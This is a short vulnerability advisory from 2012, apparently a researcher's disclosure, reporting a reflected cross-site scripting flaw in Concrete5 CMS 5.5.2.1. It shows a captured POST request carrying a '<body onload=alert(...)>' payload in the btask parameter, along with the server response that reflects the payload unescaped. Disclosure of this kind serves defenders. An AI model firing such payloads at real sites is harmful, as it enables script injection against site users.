[ TITLE ....... ][ Concrete 5.5.2.1 Cross Site Scripting
[ DATE ........ ][ 23.04.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.concrete5.org/
[ VERSION ..... ][ 5.5.2.1
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [
[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...
[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)
[--------------------------------------------[
[ 2. What is the type of vulnerability?
This is cross site scripting vulnerability.
[--------------------------------------------[
[ 3. Where is bug :)
...raw cut from Burp...
POST /concrete5.5.2.1/index.php?cID=121&bID=38&arHandle=Main&ccm_token=...:...&btask=''%3b!--"%3cbody%20onload%3dalert(12312312323)%3e%3d%26{()}&method=submit_form HTTP/1.1
(...)
...end cut...
And 'cut' from answer with our 'payload':
"
(...)
<script type="text/javascript" src="/www/concrete5.5.2.1/concrete/js/tiny_mce/tiny_mce.js?v=aa5e8ba94816af5cea082fa1b3a32500"></script>
<script type="text/javascript" src="/www/concrete5.5.2.1/index.php/tools/required/page_controls_menu_js?cID=121&cvID=&btask='';!--"<body onload=alert(12312312323)>=&{()}&ts=1335145603"></script>
</body>
(...)
"
[--------------------------------------------[
[ 4. More...
- http://hauntit.blogspot.com
- http://www.concrete5.org/
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ Ask me about new projects @ mail. ;)
]
[ Best regards
[